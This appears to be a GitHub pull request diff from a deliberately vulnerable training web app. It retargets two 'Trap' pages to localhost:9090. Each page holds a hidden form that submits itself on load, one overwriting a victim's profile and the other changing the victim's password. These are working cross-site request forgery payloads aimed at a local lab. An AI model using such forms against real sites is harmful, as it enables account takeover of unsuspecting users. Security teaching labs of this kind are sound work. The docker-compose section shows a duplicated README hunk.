Merge pull request Hardw01f#44 from Hardw01f/fix/CSRFformforLocal

fix: 🐛 fix CSRF trap redirect form to suit for localhost
Bearer · Jun 8, 2020 · 9a1291f · 9a1291f
2 parents 73aadf8 + d2febd4
commit 9a1291f
Show file tree

Hide file tree

Showing 4 changed files with 2 additions and 42 deletions.
diff --git a/README.md b/README.md
@@ -15,7 +15,6 @@ So, Use for educational or research purposes only
 
 ## Image
 
-<img width="1784" alt="loginPage" src="https://user-images.githubusercontent.com/22651097/73920112-1f2f9700-4908-11ea-855d-573007d440e1.png">
 
 
 ## How to Run

diff --git a/Trap/DetailCSRF.gtpl b/Trap/DetailCSRF.gtpl
@@ -7,7 +7,7 @@
 <link rel="stylesheet" href="./assets/style.css" type="text/css"> 
 <body onload="document.csrf.submit();">
 <p>aaaaa</p>
-<form name="csrf" action="http://localhost/profile/edit/update" method="POST">
+<form name="csrf" action="http://localhost:9090/profile/edit/update" method="POST">
     <input type="hidden" name="username" value="Hacked!!">
     <input type="hidden" name="age" value="2048">
     <input type="hidden" name="mail" value="[email protected]">

diff --git a/Trap/PasswdCSRF.gtpl b/Trap/PasswdCSRF.gtpl
@@ -7,7 +7,7 @@
 <link rel="stylesheet" href="./assets/style.css" type="text/css"> 
 <body onload="document.csrf.submit();">
 <p>aaaaa</p>
-<form name="csrf" action="http://localhost/profile/compchangepasswd" method="POST">
+<form name="csrf" action="http://localhost:9090/profile/compchangepasswd" method="POST">
 <input type="hidden" name="passwd" value="bouyadakarasa...">
 <input type="hidden" name="confirm" value="bouyadakarasa...">
 <input type="submit" value="submit">

diff --git a/runenv/docker-compose.yml b/runenv/docker-compose.yml
Original file line number	Diff line number	Diff line change
Expand Up		@@ -15,7 +15,6 @@ So, Use for educational or research purposes only

		## Image

		<img width="1784" alt="loginPage" src="https://user-images.githubusercontent.com/22651097/73920112-1f2f9700-4908-11ea-855d-573007d440e1.png">


		## How to Run
Expand Down